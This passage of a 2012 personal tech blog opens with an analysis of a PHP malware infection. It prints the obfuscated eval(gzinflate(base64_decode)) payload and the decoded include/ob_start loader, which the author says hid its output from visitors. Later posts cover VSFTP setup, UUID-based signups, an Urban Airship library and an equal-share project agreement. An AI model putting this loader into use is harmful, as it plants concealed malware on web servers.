xMKrl9hLtk19lNDDrVadnecq73o3OmNTQdx518rp0FOLAW6gNvMVsNdfVo24V/nnG7lRgCwTE36Z8/8rz1lcsT8n8OhMBjMuW+Lf5R1tRX8tCyKVIgMFfKtQosEmwlLDRJvrbaPv595iJzlRVAhfxQAkKi+6V5o5k7AemUF/0AAZuy52sbuF7N4fdMkGri73Uxeqi3FfYMIJ49hbs31uOv+kAcrwcSnMZ8Q3b5nLuruK2Zuug79+bmTcPTjxUv2WSAuweRiK8mIV6VU7bomXG9wUI/2B+hZ2eQs+DpPscsEoGtWDxNtu0hVVdsrzEKxsdgaKVRDUh1PyQh0qlU482YbYn8/xTePQXh9OXhjYaOJLD0BVjvfqm6CtDAtMlCmf2xgdhH7NXNSk6ha8t+VAysbsclC5U4tnaRgrvaO0S8GBm01+3R9iVbyyNX4tJc/u1T733isuF4J78eyxUQLn5bay69jwLG8CP8fIyJSA0YKuo8EgF5eUWEP9c1yxQS+ckaVkPi/owBpS3cF+R6iMlHnipOr7B8u+uve+wc8jANMi9+U4N61P5KdSxgwlTvJadTdGQuKPrIokMzbQxWZWkKKf0jVikgAtYfgzk//oJ8o/l5DuYjoX9GURGjDAGgrI3l9lldXR0W+Rq5z5t+zqY9vlCkEbuSO6mDoFq/9/yMEo3ks6e68QtAVQNYKJ4GcxtrGosmvp4If3McY6lrOuI8o+n5L07AR4G1J2Rd2nBmoIrWCjbZmd+m7O0UQvl5ZW3YeDX7dYqGAlqtLG1aQys3HYLnN3ZbaQRPdRFNLud1rN3a3a+nArQBLg6KRj7c/kyxBoSCNoMBfeLvTxNgwwQrsfdXwiWqtT0UmnAPVuhH4bVq3Nvau4qWblB09/jT6+AyN5948bVlYIYwqz9/Bp642q7AbTBNtF2fYknJ5G1knohhmcyD8RaNPb6R/t6fxssUY36/rMvTxl93wVdMEzcWj9lyX+EfDIMbBv9xVXdRZDA4QFXwiVZgVMiTajYG+TDzKHSi5eXl5IplEvl3HuwPHHAXZ32/TPkL+fyDV/IdZdb8MHueqC0weF9eXW2IHrUTEASX6yJ5mGMZXROHYB3J1IWmb3Omb/8Cv48CQZCgKIT8n//8+++///0/'));
'eval(gzinflate(base64_decode(\'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\')));'

Wait, what?! So it just comes out to more of the same? It takes a looong time but you can keep decoding and you’ll finally get this:

'if(function_exists(\'ob_start\')&&!isset($GLOBALS[\'mfsn\'])){$GLOBALS[\'mfsn\']=\'/home/beachhea/public_html/bpwiki/PHPTAL-NP-0.7.0/libs/PHPTAL/Attribute/I18N/662.php\';if(file_exists($GLOBALS[\'mfsn\'])){include_once($GLOBALS[\'mfsn\']);if(function_exists(\'gml\')&&function_exists(\'dgobh\')){ob_start(\'dgobh\');}}}'

Or, cleaned up:

if (function_exists('ob_start') && !isset($GLOBALS['mfsn'])) {
  $GLOBALS['mfsn'] = '/home/beachhea/public_html/bpwiki/PHPTAL-NP-0.7.0/libs/PHPTAL/Attribute/I18N/662.php';
  if (file_exists($GLOBALS['mfsn'])) {
    include_once($GLOBALS['mfsn']);
    if (function_exists('gml') && function_exists('dgobh')) {
      ob_start('dgobh');
    }
  }
}

As you can see, the virus placed some specific files on my machine. It spread this infection throughout all the other PHP files on the machine by having them look for the virus (file_exists($GLOBALS['mfsn'])), include it (include_once($GLOBALS['mfsn']);), and buffer the output of the malicious code (ob_start('dgobh');). Notably, it uses output buffering to avoid outputting anything to the end user when they visit an infected webpage, preventing people from easily noticing the infection.

I deleted that PHPTAL-NP-0.7.0 folder so I can’t tell you what the virus was exactly doing. However, PHPTAL is a legitimate templating library, so the virus creator must have been merely using it to hide his malicious code and/or save himself from repeating some common tasks.

Let Me Map That For You

Peter — Mon, 07 May 2012 13:40:50 +0000

I like to make maps on Google Maps but adding a bunch of points can be a pain, so I made LMMTFY to speed up the process. Enjoy.

If iChat or Messages.app won’t connect to Google Talk

Peter — Sun, 06 May 2012 09:59:05 +0000

Both I and my sister encountered this problem and I figured it’s worth sharing here: the applications seem to silently fail when it decides that the SSL certifications are wrong or don’t match the previous one seen. Simply go to Preferences, uncheck SSL, and reconnect. You should then be given an SSL warning and given the opportunity to accept or reject the new certification. After accepting it you should be connected. Finally, disconnect, enable SSL again, and the reconnect to be back with everything working.

Setting up VSFTP with a virtual user

Peter — Thu, 03 May 2012 23:19:00 +0000

VSFTP is supposed to be the bee’s knees of Linux FTP servers. Unfortunately it’s kind of confusingly documented, particularly if you want to setup a virtual (ie FTP-only, not shell or system) user. Basically, follow this tutorial, but if you want to let your virtual users have full permissions and for files to be set properly on the server, get to know all the configuration options.

Specially, while you shouldn’t enable anonymous users (anonymous_enable=NO), virtual users are otherwise treated like them and use the same configuration directories, so enable all the anon_*_enable directives that are relevant to you.

If, like me, you’re uploading into a directory that’ll be served by your web server, make sure to set the umask such that the server can read the files (I used the local_umask=022 suggested in the config file’s comments). The final piece in my puzzle was figuring out that I needed to add virtual_use_local_privs=YES.

Of course you should be using SFTP instead, but sometimes you’re forced to use FTP because of some backwards program.

Open Data Talk at the HvA

Peter — Thu, 03 May 2012 12:50:21 +0000

I gave a lecture on open data and cities to my friend Laura’s City Discourse class at the CMD program of the Hogeschool van Amsterdam. Rather than going too much into technical issues I discussed the politics of open data, both how it’s a contested and even controversial issues, and what students should care about it. While there were a lot of students missing (hopefully not because they weren’t interested in me!), the ones there had some good questions and I had a great time. You can download a PDF of my slides here: Open Data and the City

The end of signups

Peter — Thu, 26 Apr 2012 19:14:35 +0000

Today Gawker announced that they’re letting people create anonymous ‘burner’ accounts. What is interesting is that all you have to do is pick a pseudonym and you’re good to go: no name, email, and age to input, no account verification. I think this low friction way of creating website accounts is how (almost?) every service should work.

I’ve actually take this approach with Game Later, and I’m very happy with how it works (a link for the brave, since it’s only designed for Rock, Paper Shotgun and is nowhere near prime time). Put simply, when Game Later is loaded I look for a single cookie containing a UUID. If it’s not there I create the cookie with a new UUID and create the associated User model in the database. That’s it.

That means that users can start saving game previews and reviews for later without any explicit signup ,and as long as they go back to the site in the same browser they’ll see their ‘laters’. I put the the UUID down at the bottom of the page along with the user-specific bookmarklet so that in the future users can log into the account from another computer (manually editing the cookie in the browser is the only way right now but does work).

This is not a new idea, of course. If I remember correctly, Instapaper used to not require any signup – I do remember that you chose a username and didn’t need to have a password (and you know my feelings about passwords). I think a password was eventually required because of privacy issues (ie people guessing others’ usernames and viewing their reading lists or spamming them with entries). People naturally use the same simple names (I’m pr1001 on everything) and they’re easy to guess.

Generating a UUID removes the only step in the 1 step signup process (asking for a name) and also protects against privacy issues: people can’t chose predictable usernames, and a UUID isn’t (as?) predictable as a sequential numeric id. Of course, if you switch computers occasionally then a predictable username is much preferable to an obtuse UUID, though I figure that happens relatively rarely.

But doesn’t mean that there will be an explosion of ‘users’ in my database that aren’t connected to an active user? Sure, but database entries are cheap and it wouldn’t be hard at all to periodically clean up users with no saved games or who have been inactive for a long time. Likewise I could check the user agent when the page is requested and skip the creation of a user account when the site is loaded by Google or another crawler.

Sending iOS Push Messages with Urban Airship and BFUrbanAirship

Peter — Tue, 24 Apr 2012 23:33:52 +0000

For iFebo I built a server last year to handle sending push messages to Urban Airship, which we use in front of the Apple Push Notification service due to its great scheduling features. To do this I needed a way to interact with the UA API and while it’s got lots of features it’s not terribly… consistent.

So, I wrote my own wrapper library which attempts to give you a more consistent and type-safe way to interact with the API. It’s taken me a long time to make it public and I’ve got some work to do to make it up to date, but I’m glad to give you BFUrbanAirship. You can use it like so:

import com.bubblefoundry.bfurbanairship._
 
val api = new UrbanAirship(app_token, app_secret, app_master_secret, appengine = false)
// schedule a message to be pushed
val message = SimplePushMessage(aps = Some(APS("A push message")))
api.push(message)
 
// get a Stream of all registered devices
api.devices

How I maintain my events calendar

Peter — Mon, 26 Mar 2012 10:57:22 +0000

Chris asked how I maintain the Dutch Tech Meetups Calendar since he’s working on his own calendar for Berlin. Here’s the answer:

I manually add events to the calendar, though it’s pretty easy since most are on Meetup. You could import a feed, for example the feed of Meetup events you’re attending, but I don’t attend most of the events on my calendar. Also, I need a separate calendar because not every event is on Meetup.

On the Meetup page just under the meeting title there’s an export link and you can select Google. Sometime you can only see the link if you’re a member of the group and sometimes that’s not necessary. The link fills in a new calendar entry and I generally leave it at that. I was rewriting the dashes that Meetup uses to separate to commas, but that’s actually not necessary: Maps will understand the address links correctly either way.

The one annoying thing is that the new calendar entry screen only lets you select your main, default calendar. That means that every time I have to save the event to my personal calendar. After saving Google shows my calendar and an alert at the top saying that the event has been saved. You can click on the name of the event in this alert and you’re taken to the edit event screen. This is exactly the same as the add event screen except here you can select other calendars. I usually change calendars (halfway down the page) rather than using the copy option up at the top.

Since I’m subscribed to just about every tech Meetup group in the Netherlands plus a bunch of other mailing lists, I’m constantly hearing about events and I add one or two events a day. Have I missed something? Email me at peter@bubblefoundry.com!

How to organize your project without lawyers

Peter — Thu, 15 Mar 2012 01:05:43 +0000

Of course, I’m not a lawyer, but I’ve used this approach and I believe that it should cover most things adequately.

The situation

So, let’s say you are starting a new project with some friends and you think that after investing some time and money it will eventually make some money. You’re all friends but you’d also like to stay friends, so you’re looking to come to a simple, fair agreement ahead of time so you can get down to business.

So, what you need is just a simple plan about how to operate that you all agree on and that covers all the major bases. This is it. While verbal agreements are binding contracts in most places (again, IANAL), it’s nice to have a paper trail. Email is good for that. Spell everything out in an email to everyone (or just direct them to this post) and make sure everyone replies saying they agree. Done.

Lots of people think you should immediately rush down to City Hall or the Chamber of Commerce and incorporate and get a company bank account before you do anything. I think all that is just extra work and a distraction from the goal of a project, so I advise avoiding it as long as reasonable. This guide will address many of the things you would have to address when incorporating a company (ownership, funding, salaries, etc) while avoiding the paperwork and costs of one. Score!

Revenue – Expenses = Profit

This is how any business operates, so this is how you should operate. It’s not complicated:

Whenever you get revenue in and you agree to not save the cash for a future expense, pay off any outstanding costs. If there’s any left over, pay it out as profits.

But what’s a cost? Who should get paid first? But I’m going to be spending more time on this than them! Hold your horses, I’m getting to all that.

The table: People x Time & Cash

Make a spreadsheet like this:

Person	Hours	Costs
Person 1	50	€150
Person 2	24	€0
Person 3	10	€1000

Have it in Google Docs. Let everyone update it (don’t worry, there’s a record of changes). That’s all the intra-team book keeping you need to do.

Costs

This is actual cash that someone’s had to spent out of pocket as part of the project. Bought a domain name? Needed to rent a car and drive to Milan? Hired a boa constrictor for a children’s party (you crazy person you)? Those all go under Costs. Of course, your 7 day vacation in the Seychelles is not a cost. Costs should be reasonable and/or approved by the group (see later section).

Hours

Everyone should record the hours they spend on the project. This is essentially people’s salaries in a company, except we’re paying based upon how much people work and not flat salaries. Everyone’s hours should be valued equally (yes, this is a socialist capitalist enterprise). I like a rate of €100 an hour, since it’s probably pretty generous for most people and if any of your lucky dogs are used to earning more, well, just consider it the price to pay for doing whatever awesome creative project you’re doing.

What to do with revenue

Great, you’ve got some dough coming it! Make it rain! Whether your app is the next Angry Birds or if Cocoa Cola hired you to produce their next global campaign, money is money. Like I said before, first pay off expenses and then take your profit. As for expenses, first pay off cash costs and then hours invested. Why? Because costs directly reduce bank accounts, while hours spent ‘only’ represent opportunity costs (hours you could have spent on normal paid work). So pay off the Costs first.

You may want to wait until the project has finished before settling up if you get a fair bit of money upfront but still have to spend time and will have more costs. On the other hand, if your project is something like an app where you have money coming in over a longer period of time, you may want to regularly make payouts.

If someone doesn’t have anything in the column you’re paying off (like Person 2 under Costs), they don’t get any money until everyone’s costs have been paid and you’ve begun to pay off Hours.

Generally I would pay people off evenly: for instance, if we made $300 I’d pay Person 1 $150 and Person 3 $150. However, it may make sense to pay down someone’s amount before others if it’s out of disproportionally large, e.g. pay all $300 to Person 3. Just do what you agree is fair.

Profits

After you’re at zeros in both the Hours and Costs columns, you can now pay out profits. Pay everyone evenly. There’s no point in trying to decide that some people are worth more than others: that just leads to arguments and broken friendships, and the expenses columns already account for people putting in different levels of effort.

If you think that you’re about to have more costs in the future, you can hold off paying profits until after you’ve covered them. Just leave the cash in whatever accounts you’re using, whether people’s individual bank accounts – where they should make sure to account for the group’s money – or in a group account like Holvi.

One option, if you want to keep rewarding people according to what they invest even as you get more and more revenue in is to readjust your common hourly rate. Even €2000 an hour can work if it gives an outcome that you think is fair.

Making Decisions

I’ve mentioned a few times to just do what is fair or you want to do. Who decides? Any important decision must be approved by at least 50.1% of the team. 1 person equals 1 vote.

This means that you should rarely have ties and one person can’t hold up everything – this isn’t the US Congress, for god’s sake! At the same time, on small teams a supermajority is usually necessary to have a majority at all, which is a good thing (e.g. on a team of 4, 3 people must be in favor to approve a decision). If you’re stuck then nothing happens, and you just stick to the original plan.

People Leaving

If you find that one person is not holding up their side of the bargin, or if you’re continually the odd man out, it’s time to leave. A person can voluntarily leave (of course) or the remaining team can force them out – again, they need that 50.1% mentioned earlier.

What happens when a person leaves? I’d recommend settling up their Costs and Hours as soon as possible, even at the expense of skipping other people. If that’s not possible, then you owe them the appropriate amounts when possible. As for profits, you owe the person any profits made based upon the project while they were a member.

What does this mean? If you’re making an iPhone app and someone leaves right when you launch the app (and thus before there were any profits), they deserve their equal share of any profits from subsequent app sales, since they were part of the team when it was made. As soon as there is a new version the remaining team doesn’t owe them anything (since of course they’ve already paid off expenses already if they’re paying out profits).

Yes, this means that updates could be quickly rushed out to minimize the profits due to the ex team member. This means that it would be a good idea to negotiate the specifics about the potential profits due someone when they leave. But the principle is that a person profits equally on the portion of the project they were involved in and no more.

Removing People

I basically said it before. If someone is a problem or isn’t holding up their side of the bargin the other team members can remove them with a sufficient number of votes. Yes, that means that by accepting this way of working you’re accepting that the other team members can remove you if enough of them agree.

No one is indispensable, there are no first-among-equals.

Adding People

Are you firing on all cylinders but need more people? Found someone that is totally awesome and would make the team better? Then it’s time for a new team member. Just add them to the spreadsheet and you’re good to go.

Since they’re starting with zeroes in their expenses columns they won’t be getting paid before the people who have been slaving away at the project for months and are responsible for the success that’s starting to occur. Simple.

If you’re starting to pay out profits, the usual rules apply: every team member shares equally in profits. Using the iPhone app example again, if you bring on a new person for Version 2, they share in the profits from Version 2 onward but not for Version 1. Of course, they keep sharing in profits until they leave and the things they worked on are no longer making profit.

You may think that this is overly generous to new team members. In that case, just hire them as an outside contracter (ie an expense in the Costs column). If you’re ready to bring them on board as a full team member – and there is no other type! – then you’re ready to share profits with them.

Heck, bump up your hourly rate to avoid profits for a bit in order to reward the original members if it bothers you so much. Don’t try to do various share holdings, this is all about equality. Determining where unequal share ratios tip from fair to unfair is too hard and prone to disagreement. Don’t go there.

The value of the idea

What about intellectual property (IP) and things like that? Generally I would just say that it’s nothing special, and it doesn’t matter who had the idea. At the same time, if someone had the original idea then presumably they spent time developing it and those hours should be included under their time worked in the Hours column.

Still not happy with that? I really wouldn’t recommend going beyond this, but if you really have to have some sort of additional monetary compensation for the person or people who had the original idea, then have that person charge the project royalties (ie this is an additional expense). For instance, 6-10% is apparently the normal rate in the product design world.

As a team at the beginning of your project, decide at what point royalties should be paid. I’d be inclined to pay them after Hours and just before paying out profits. However, if you’re someone that cares that much about royalties then you probably think you should be paid earlier. After Costs and before Hours is acceptable. Don’t put them before Costs, Costs must always be paid off first.

If more than one team member is charging the project royalties then you’re doing it wrong. Presumably what’s happened is that royalties have been used as a backdoor for people to say that they’re more equal than others, and that isn’t allowed. Only one member can charge the project royalties. Naturally you may need to pay royalties to several outside parties and that’s fine (though that doesn’t sound like a good business situation to me).

Be flexible

All this is just to give you a reasonable set of ground rules. If you feel a need to do something different, like pay someone’s hours before other people’s costs because they’re broke and need the money, just do it (provided enough people agree).

The end

The project can end in two ways: either it’s not working, in which everyone decides to move on and you settle up expenses as best as possible according to the methods outlined in this post, or you’ve moved beyond the point of a simple partnership.

If you want to hire people, enter into contracts, all that jazz, then it’s time to incorporate. There’s a time and place for that; the whole point of the mechanisms here is just to enable you to work together as a team as long as possible and only incorporate when it really makes sense and solves a lot of pain points. And remember what I said before, if there’s someone you want to work with but don’t want to make them an equal team member, just hire them as a contractor (a Cost).

Whew, that’s a lot. Hope it helps!